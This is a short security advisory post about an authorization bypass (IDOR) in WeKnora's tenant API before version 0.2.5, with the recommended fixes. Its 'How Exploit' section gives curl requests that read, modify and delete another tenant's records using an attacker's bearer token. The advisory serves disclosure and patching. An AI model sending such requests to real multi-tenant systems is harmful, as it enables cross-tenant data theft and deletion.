WeKnora, Authorization Bypass, CVE-2026-XXXX (Critical)

Listen to this Post

The vulnerability stems from a complete lack of ownership validation in the tenant management API endpoints. The application parses a tenant ID directly from the URL path (e.g., /api/v1/tenants/{id}) and passes this ID to the service layer to fetch, update, or delete a tenant record without verifying that the authenticated user has any relationship or permissions for that specific tenant . This is a classic Insecure Direct Object Reference (IDOR) or Broken Object Level Authorization (BOLA) flaw. Because the application allows public user registration, an attacker can simply create a legitimate account, obtain a valid bearer token or API key, and then use that token to make requests to endpoints like `GET /api/v1/tenants/10001` or DELETE /api/v1/tenants/10001. The server, failing to check if the user from Tenant A should have access to the data of Tenant B, processes the request, leading to unauthorized read, modification, or deletion of any tenant in the system. This effectively breaks the multi-tenant isolation, granting any authenticated user global access.
Platform: WeKnora
Version: <0.2.5
Vulnerability: Authorization Bypass
Severity: Critical
Date: 10 Jan 2026

Prediction: Patch already available

What Undercode Say:

Analytics

This vulnerability (CVE-2026-XXXX) is an IDOR in tenant management, allowing any authenticated user to access any tenant . Public registration turns this into a zero-trust failure. Patched in version 0.2.5 .

How Exploit:

1. Register and login to get a token (e.g., as user in Tenant 10025)
2. Use that token to interact with another tenant (e.g., Tenant 10001)
Read victim tenant data
curl -X GET http://localhost:8088/api/v1/tenants/10001 \
-H "Authorization: Bearer <ATTACKER_TOKEN>"
Modify victim tenant
curl -X PUT http://localhost:8088/api/v1/tenants/10001 \
-H "Authorization: Bearer <ATTACKER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"name": "HACKED by tenant 10025"}'
Delete victim tenant
curl -X DELETE http://localhost:8088/api/v1/tenants/10001 \
-H "Authorization: Bearer <ATTACKER_TOKEN>"

Protection from this CVE

  • Upgrade to WeKnora version 0.2.5 or later .
  • Implement mandatory ownership checks for every tenant-level API call.

Impact

Cross-tenant data breach, unauthorized modification, permanent deletion of tenants, and theft of sensitive LLM API keys .

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top